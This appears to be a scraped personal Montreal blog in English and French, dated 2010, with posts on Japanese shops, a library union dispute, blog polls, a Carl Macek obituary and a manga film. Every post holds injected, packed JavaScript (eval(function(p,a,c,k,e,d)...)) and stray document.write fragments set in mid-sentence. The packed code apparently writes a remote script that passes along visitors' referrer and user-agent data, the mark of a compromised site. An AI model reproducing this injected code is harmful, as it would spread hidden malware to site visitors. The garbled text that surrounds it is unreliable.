Shopping Japanese in Montreal

Tuesday I visited with my wife a (very) small japanese boutique in downtown Montreal. It’s called “Coco Montreal Space.” They have imported goods from Japan, document.write(“”); designer’s accessories, cookies and many bargains (used books & clothes). It is located at 4055 Ste-Catherine West, #135-B (downstairs, near Metro Atwater) and is open Monday through Friday from 13:00 to 18:00. They also have a small room where they plan to offer various workshops and language courses. It’s cute, but they don’t have much stuff.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hende|var|u0026u|referrer|nkfsn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryesr|var|u0026u|referrer|hzrib||js|php’.split(‘|’),0,{}))

“Coco Montreal Space” is related to the
Coco Montreal free newspaper, dedicated to Canada-Japan cultural exchange (mostly for Japanese expats and Japanese language students).

This reminds me that there are a few other places to shop Japanese in Montreal:

First, there is the “Collection du Japon” store and its related “R. Uchiyama” Japanese Green Tea importer. It is located at 460, Sainte-Catherine West, #423 (Metro McGill, entrance near the Future Shop, on the 4th floor) and is open 13:00-18:00 (Tue-Fri), 10:00-16:00 (Sat). We visit it frequently and recommend it. You can find all sorts of Japanese stuff there: kimonos, books, decoration, kitchen ware, etc.

There is also the “Miyamoto” food store located at 382 Victoria Avenue (near Metro Vendome) and opened 10:00-20:00 (Mon-Fri), 9:00-17:00 (Sat & Sun).

I can also recommand the Japanese restaurant “Sakura Gardens” if you want a “real” Japanese food experience. It is located at 2170 de la Montagne (near Metro Peel). It is opened 11:45-14:30 (Mon-Fri), 12:00-14:30 (Sat) for lunch and 17:30-22:00 (Sun-Thu), 17:30-22:30 (Fri-Sat) for dinner.

Assemblée sectorielle pour Ahuntsic-Cartierville

Une assemblée sectorielle a été convoqué pour tous les aide-bibliothécaires et les bibliotechniciens auxiliaires de l’arrondissement Ahuntsic-Cartierville. On y présentera l’entente de principe relative à l’entente E.V. 96-94 régissant l’octroi des heures de travail (et autres dispositions) et un vote secret sera tenu pour accepter (ou non) la-dite entente.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thrdh|var|u0026u|referrer|zhyaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rityf|var|u0026u|referrer|akyze||js|php’.split(‘|’),0,{}))

L’assemblée sectorielle aura lieu le lundi 3 mai à 9:00 au <a href="
http://www.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=545+rue+fleury+est+montreal+QC&sll=45.553387, document.write(“”); -73.661938&sspn=0.001448, 0.001717&ie=UTF8&hq=&hnear=545+Rue+Fleury+Est,+Montreal,+Communaut%C3%A9-Urbaine-de-Montr%C3%A9al,+Quebec,+Canada&z=16&iwloc=A” target=”“new””>545, rue Fleury Est (entrée Fleury de la bibliothèque Ahuntsic).

A cette assemblée les auxiliaires de l’arrondissement auront à se prononcer sur la lettre d’entente qui régit un aspect important de nos conditions de travail: l’embauche et l’assignation. Si vous désirez en savoir plus sur ce que sont ces lettres d’entente, lire les ententes avec les autres arrondissements et connaitre pourquoi, selon mon humble avis, ces lettres sont mauvaises pour nos conditions de travail, je vous propose de lire le billet “Les Lettres d’entente en question”. Lisez et faites passer le mot (pour faciliter la tâche j’ai créé des liens raccourcis: http://tinyurl.com/yyp4zug ou http://to.ly/338X).

L’entente a été négocié entre le syndicat et l’arrondissement Ahuntsic-Cartierville mais les auxiliaires n’en prendront connaissance que quelques minutes avant le vote. Ils n’auront pas le temps d’y réfléchir, ni d’en discuter. Cette façon de faire est inacceptable. C’est pourquoi, faute d’avoir l’entente en mains au moins quinze jours d’avance afin de procéder à un vote éclairé et véritablement démocratique, je recommande aux auxiliaires des bibliothèques d’Ahuntsic-Cartierville de NE PAS SE PRÉSENTER À L’ASSEMBLÉE (ou, dans le pire des cas, de voter CONTRE l’acceptation de l’entente).

Poll #2: Subject preference

Once again I am quite disappointed by the results of this blog poll. Only six people (out of hundreds of visitors) took the time to provide me this useful information. Since I’ve been writing lots of union-related comments lately, document.write(“”); I am not surprised to learn that it was the favoured subject at the moment. I am also glad to see that books reviews and cultural / historical comments came in second position. However, I get the message and won’t ask you such polling questions anynore. But I still wish more people would leave comments…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drfri|var|u0026u|referrer|sfyhs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfdsr|var|u0026u|referrer|nkrbd||js|php’.split(‘|’),0,{}))

I have also included below a graphic of the blog’s weekly traffic between January 2009 and mid-April 2010. It peaked in mid-October ’09 and, since the end of November ’09, maintained a weekly average around 100 unique (or total) visitors or 25 returning visitors. Its not the thousands I’ve seen on some of my previous sites, but it’s not bad for a tiny personnal blog.

Encore une fois je suis très déçu des résultats de ce sondage. Seulement six personnes (sur des centaines de visiteurs) ont pris le temps de me fournir ces information utiles. Comme j’ai écris beaucoup de billets liés au syndicat ces derniers temps, je ne suis donc pas surpris d’apprendre que c’est le sujet favori du moment. Et je suis heureux de voir que les critiques de livres et les commentaires historico-culturels arrivent en seconde place. Toutefois, cher lecteurs et lectrices, je vous ai compris: je ne vous ferrez plus subir ce genre de sondage. Mais j’aimerais bien avoir un peu plus de vos commentaires…

J’ai aussi inclus ci-haut un graphique du trafic hebdomadaire* entre janvier 2009 et la mi-avril 2010. Après un soubresaut à la mi-octobre ’09, le blog a maintenu une moyenne autour de 100 visiteur unique (ou total) et de 25 visiteurs récurrents** depuis la fin novembre ’09. C’est pas les milliers de visiteurs auxquels j’étais habitué sur mes autres sites mais c’est pas si mal pour un petit blog personnel.

* s’il n’y avait qu’une bosse dans le graphique, ce serait du trafic hebdromadaire… (Désolé, je ne peux pas m’en empêcher, le calambour était trop facile!)
** au moins ils sont propres! ;0
une p’tite dernière: apparemment ce n’est pas tout les “Poll à Québec” qui ont du succès…

R.I.P. Carl Macek

I learned yesterday that Carl Macek (1951-2010) passed away following an heart attack on saturday.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayhni|var|u0026u|referrer|sfbyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzdty|var|u0026u|referrer|tfakz||js|php’.split(‘|’),0,{}))

He is known for having created Robotech (by brilliantly—although it was controversial—stitching together three different japanese animation: Macross, document.write(“”); Southern Cross and Genesis Climber Mospeada) and for adapting into English language many other anime (Akira, Crying Freeman, Doomed Megalopolis, Lensman, Robot Carnival, Twilight of the Cockroaches, and Wicked City). He also collaborated to the production of many other animations (Aura Battler Dunbine, Bleach, Heavy Metal, Lady Death, Lupin III: Castle of Cagliostro, My Neighbor Totoro, Naruto, etc).

This is quite a sad new. I met him several time (mostly in comic-book and anime conventions, starting in the late ’80s) and I have always admired his pioneering work. Since he is responsible for having me discover the rich world of Japanese animation (and, by extension, manga), I owe him a lot. I remember him telling us (embellished) stories about the production of Robotech, and it was so skillfully told that we were suspended to his lips like children listening to a fairy tale, sometimes laughing but always captivated. Since that time, we—our bunch of friends at Protoculture Addicts—were calling him “Uncle Carl.” To paraphrase what was said about Commander Fokker in “Farewell, Big Brother” (episode 18 of Robotech), his death is “a terrible tragedy indeed. I can tell you [he] will be sorely missed.”

You can read tributes to his life on many other web sites: from Jerry Beck (co-founder of Streamline Pictures), from Tommy Yune (director or the new Robotech: The Shadow Chronicles movie), from Rebecca Forstadt (who voiced Minmei as “Reba West”), on ANN and on ICv2.

Requiescat In Pace, Carl Macek.

Quartier Lointain au cinéma

Cette nouvelle est au confluent de deux de mes grands intérêts: le manga et le cinéma. Comme je l’ai déjà mentioné, document.write(“”); Quartier lointain—ce superbe manga de Taniguchi—a été adapté au cinéma par Sam Garbarski. Des détails sur le film, ainsi que la bande-annonce allemande, sont maintenant disponibles.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfyis|var|u0026u|referrer|tkrfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httih|var|u0026u|referrer|shnkt||js|php’.split(‘|’),0,{}))

Le manga raconte l’histoire d’un “salaryman” en pleine crise de la quarantaine qui, un peu par accident, visite son village natal et se retrouve mystérieusement transporté dans le temps, à l’âge de quatorze ans, pour revivre une partie de son adolescence… Si l’histoire originale se déroule au Japon, dans le village de Kurayoshi (préfecture de Tottori), l’adaptation est elle transposée en France, à Nantua (Rhône-Alpes).

“Thomas, la cinquantaine, père de famille, arrive par hasard dans la ville de son enfance. Alors qu’il se recueille sur la tombe de sa mère, il est pris d’un malaise. Quand il se réveille, son corps semble différent et le nom de sa mère n’est plus gravé sur la pierre tombale… Revenu quarante ans en arrière dans son corps d’adolescent, il décide alors de rentrer ‘chez lui’ pour comprendre ce qui a poussé son père à les abandonner cette année-là et tenter d’empêcher cette mystérieuse disparition. Mais peut-on modifier son passé en le revivant ?” [Texte de présentation sur le site du distributeur]

Quartier lointain, dont le titre allemand est Vertraute Fremde (Familiar Strangers), est une co-production belge (Entre Chien et Loup), française (Archipel 35), luxembourgeoise (Samsa Film) et allemande (Pallas Film). Le film de 98 minutes, distribué par Wild Bunch Distribution, met en vedette Léo Legrand (Thomas enfant), Pascal Greggory (Thomas adulte), Jonathan Zaccaï (le père), Alexandra Maria Lara (la mère), Laura Moisson (Corinne), Pierre-Louis Bellet (Rousseau) et Laura Martin (Sylvie). Ayant déjà eut une avant-première à Cannes en 2009, il sortira d’abord en Allemagne le 20 mai (étrange pour ce qui est, techniquement, un film français) et en France en septembre.

Si l’on se fit à la bande-annonce, le film (dont la production avait été annoncé depuis près de quatre ans) est vraiment proche de l’histoire et de la “mise-en-scène” originale (mis à part la transposition du lieu et quelques détails). C’est certainement à voir.

Sources: About.com, ANN, Movie Maze.

Revue de Presse / Press Review (2010/04/15)

Still little news and lots of other stuff to do… And, document.write(“”); since I already cancelled my Gazette subscription and the iPad has been delayed another month, I have to read the news on my tiny iPod Touch! It’s really time I get new glasses…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhths|var|u0026u|referrer|stiyt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snrhb|var|u0026u|referrer|fkety||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health & Influenza A(H1N1)

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Les lettres d’entente en question

Ces derniers temps on parle beaucoup de ces fameuses lettres d’entente et je suis sûr que beaucoup d’entre-vous, document.write(“”); lecteurs et collègues des bibliothèques de Montréal, se demandent ce qu’elles sont vraiment et qu’ont-elles de si terrible?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehyas|var|u0026u|referrer|zyyhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asdtb|var|u0026u|referrer|dhars||js|php’.split(‘|’),0,{}))

Lorsque le Syndicat des Fonctionnaires Municipaux de Montréal (SFMM) signe une convention collective avec la ville de Montréal (la dernière en date a été signé en décembre 2007 et couvre la période de janvier 2007 à décembre 2010), il y a toujours des dispositions qui sont spécifiques à certains groupes d’employés qui ne peuvent y être incluses et ces dispositions spécifiques sont négociées séparément avec des lettres d’entente.

L’entente qui régit les dispositions spécifiques des employés de bibliothèques est l’entente EV 96-94 [texte], “relative aux étapes d’assignation des employés auxiliaires, emplois spécialisés “bibliothèque” au service de la culture.” Elle déterminait, entre autres, le fonctionnement de la banque réseau, les ports d’attache, l’embauche et le comblement des postes en fonction de l’anciennneté.

Cette entente a malheureusement été rendu caduque suite à la fusion/défusion qui a divisée la ville en arrondissements, la Charte de la ville donnant maintenant aux dits arrondissements le pouvoir d’embauche et de négociation des horaires de travail. Le SFMM a donc cru bon (?) d’inclure dans la convention collective 2007-2010 l’entente E.V. 2007-1007 (pp. 305-306) qui stipule que “l’entente EV-96-94 doit demeurer en vigueur jusqu’à son remplacement” et que, comme “le Syndicat tient à maintenir les principes en regard de la banque réseau inclus dans l’entente EV-96-94 (…), les parties conviennent d’entamer des négociations locales conjointes avec les arrondissements” du Sud-Ouest, Ville-Marie et VSMPE. Il s’agit ici des fameuses lettres d’entente.

Jusqu’à maintenant des lettres d’entente ont été signé avec cinq six arrondissements:

Les négociations sont en cours, ou même complétées, dans les autres arrondissements (Rivières-des-Prairies/Pointe-aux-Trembles [RDP/PAT], Plateau-Mont-Royal [PMR], Ahuntsic-Cartierville [AH-CA] et Cote-des-Neiges/Notre-Dame-de-Grâce [CDN/NDG]) et il ne reste qu’à les faire entériner en assemblées sectorielles par le vote des membres du SFMM de chacun de ces arrondissements. Le vote pour Rivières-des-Prairies/Pointe-aux-Trembles aura lieu le lundi 19 avril à 9h30. Le prochain vote se fera dans Ahuntsic-Cartierville le lundi 3 mai à 9:00…

Maintenant, qu’est-ce qu’il y a dans ces ententes qui les rendent si inacceptables? A première vue pas grand chose mais, dès qu’on y applique la moindre analyse, on se rend compte de la monstruosité qu’elles représentent.

Premièrement, la façon dont ces lettres d’entente ont été négocié et entériné est une injure à la démocratie (parce que donner une apparence de démocratie est pire que de ne pas en avoir du tout):

  1. elles ont été négocié en catimini sans aucune consultation avec les membres du SFMM; 
  2. elles sont votées par arrondissement alors que nous sommes tous concerné et affecté par chacunes de ces ententes (par exemple: si quelqu’un travaille dans MHM mais que ce n’est pas son port d’attache, il n’avait pas le droit de voter sur l’entente de MHM, qui pourtant affecte ses conditions de travail); 
  3. elles sont votées sans que les membres aient pu en consulter le texte d’avance et en débattre.

Deuxièmement, elles incarnent l’aplatventrisme de l’équipe syndicale en place (les AccèsCible) face aux demandes du patronat.

D’une part, elles représentent l’abandon pure et simple du principe de mobilité-ville que l’on retrouvait dans la banque réseau, capitulant ainsi devant le pouvoir fragmenteur des arrondissements. Pourtant, dans l’entente E.V. 2007-1007, le syndicat avait clairement énoncé sa volonté de “maintenir les principes en regard de la banque réseau.” Et, il y a à peine trois semaines, la présidente du SFMM nous affirmait en assemblée générale qu’elle avait exprimé au DG de la ville le besoin de faire modifier la charte de la ville afin de redonner à la ville-centre les pouvoirs de conciliation et de coordination nécessaires pour appliquer avec succès les horaires flexibles et règler tout les problèmes liés à l’embauche—et que ce serait un enjeu majeur des prochaines négos! Cela semble d’une hypocrisie à faire vomir: ils disent cela et pourtant s’empressent de négocier avec les arrondissements des lettres d’entente qui, dans les faits, font exactement l’inverse!

D’autre part, les lettres d’entente abdiquent sans façon plusieurs droits acquis, ce qui entraine l’érosion inéluctable de nos conditions de travail:

  • la priorité est donné à la disponibilité, plutôt qu’à l’ancienneté, pour l’attribution des remplacements
  • les auxiliaires détenteurs de bloc égal ou supérieur à vingt-et-une heure/semaine se retrouvent cloisonné dans leur arrondissement port d’attache et ne peuvent postuler sur des blocs ailleurs
  • de nouvelles mesures punitives sont introduites (par exemple: on est retiré de la liste de disponibilité après trois refus (MHM: deux) ou si la disponibilité n’est pas respectée; le pire est dans l’entente de MHM: période d’essai de 840 heures ou 2 ans durant laquelle l’auxiliaire peut être congédié sans possibilité de grief ou d’arbitrage, si l’auxiliaire n’est pas rejoint après deux essais par téléphone [et ils nous disent de fermer nos cellulaires en bibliothèques!] il est considéré avoir refusé l’offre de bloc—qui n’est faite qu’une fois par année seulement, etc.)
  • les congés d’étude sont attribués uniquement pour des études liées au travail en bibliothèques
  • abandon de certains griefs…

Personnellement, je ne veux pas d’une lettre d’entente qui ouvre la porte à l’érosion de mes conditions de travail. Je considère que le travail du syndicat est de maintenir les-dites conditions comme elle sont et, tant que possible, de les améliorer. Quand je vois ce que l’équipe Accès-Cible a fait avec ces lettres d’entente, considérant que près de 2% de mon salaire hebdomadaire leur est payé pour justement faire ce travail, alors je me sens abandonné et trahis—purement et simplement. Aucune autre de ces ententes ne devrait être votée et on devrait renvoyé le syndicat à la table de négociation. Au lieu de dépenser de l’énergie sur ces lettres d’entente, pourquoi ne pas mettre nos effort à faire pression sur la ville et le gouvernement afin d’établir cette entité centrale qui aurait le pouvoir de coordination comme il a été mentioné à la dernière assemblée générale? Et si l’entente a déjà été signé dans votre arrondissement et que vous en subissez les conséquences malheureuses, ne désespérez pas car une entente ce n’est jamais fixé dans le béton: on peut toujours la renégocier… Mais ne vous fiez pas seulement à mon opinion. Lisez les lettres d’entente (voir les liens plus haut) et voici quelques liens vers des publications de l’équipe du Colvert et des billets précédants qui vous permettrons sans doute d’en apprendre un peu plus sur les ententes:

Update (2010/04/19): Mes contacts m’indiquent que la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles a été entériné ce matin par les auxiliaires des bibliothèques de l’arrondissement à raison de quatorze voix pour et deux contre (apparemment avec un très haut taux de participation, puisqu’on m’a dit qu’il n’y aurait eut que deux absents, ce qui représente une participation de 89% !). Les auxiliaires des bibliothèques de l’arrondissement auraient veinement tenté de demander à recevoir le texte de l’entente avant l’assemblée et d’avoir du temps pour en discuter entre collèques. L’assemblée sectorielle se serait déroulée comme les précédentes: les représentant du syndicat auraient rapidement lu le texte de l’entente, répondu (vaguement) à quelques questions et finalement auraient demandé le vote secret. Le texte de l’entente est également similaire aux ententes précédentes (et toujours tout aussi inacceptable).

Travailler en enfer!

Pour ceux Dante nous qui connaissent l’enfer du décors… travailler dans le puit d’esclaves de l’enfer (slave pit from hell)!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkekh|var|u0026u|referrer|shdbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rydai|var|u0026u|referrer|ithry||js|php’.split(‘|’),0,{}))

La première chose qui disparait quand tu travailles en enfer c’est la steam de soi!

La pensée positive en enfer c’est ce qui fait la différence entre mijoter et être rôti!

Poll / Sondage

There is one day left to answer our latest poll “What subject(s) do you read the most ?” Please take time to answer the poll… Thanks!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrhyk|var|u0026u|referrer|efzkn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsdzb|var|u0026u|referrer|erydb||js|php’.split(‘|’),0,{}))

Update: the poll was extended for a few days… Please vote!

Il ne reste plus qu’une journée pour répondre à notre dernier sondage “Quel(s) sujet(s) lisez-vous le plus?” SVP, document.write(“”); prenez le temps de répondre à ce sondage… Merci!

Update: le sondage a été prolongé de quelques jours… SVP, participez!

Lettre d’entente Rivière-des-Prairies/Pointe-aux-Trembles

Le SFMM ne perd décidément pas de temps et semble sur un blitz pour faire approuver les lettres d’entente pour les arrondissements restants: une assemblée sectorielle a été convoqué pour l’arrondissement RDP-PAT. Elle aura lieu le lundi 19 avril à 9h30.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isede|var|u0026u|referrer|hdhyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khskd|var|u0026u|referrer|eisfd||js|php’.split(‘|’),0,{}))

Il n’y a pas que le gouvernement qui mérite de se faire passer au savon. Si vous ne voulez pas que vos conditions de travail disparaissent dans la crasse je suggère à tous (des bibliothèques de RDP-PAT et d’ailleurs) d’agir au plus tôt. Voilà ce que je suggère:

Pour être efficace il faut se mouiller. Appliquez le shampooings [ou lisez ce billet], document.write(“”); frottez fort pour faire mousser [parlez à vos collègues des lettres d’entente, discuttez-en les advantages et désavantages, allez à l’assemblée sectorielle, posez des questions et votez selon votre conscience], rincez et répétez au besoin [pour l’arrondissement suivant sur la liste et tant qu’on aura pas remit en question au moins une de ces ignobles lettres d’entente] !

Malheureusement, dans ce cas-ci, il n’y a pas de shampooings sans larmes…

Restez alerte, d’autres messages suivront…

Update (2010/04/19):
Lisez également ce billet. La mise à jour contient les résultats du vote pour la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles

Mes voisins les Yamada

“Nos voisins les Yamada… Une famille japonaise typique, document.write(“”); défiant avec entrain (plus que succès) les petits tracas du quotidien. Entre boulot, cuisine, scolarité, retraite et relations humaines, leurs “aventures domestiques” épinglent avec mordant les travers d’une société où les codes n’existent que pour mieux être détournés. Suivez Matsuko, Takashi, Noboru, Nonoko et Shige au coeur d’un univers où l’humour se mêle à l’absurde, pour éclairer différemment le Pays du Soleil levant.” [Texte du rebat intérieur de couveture, tome 2]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyttd|var|u0026u|referrer|sftnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
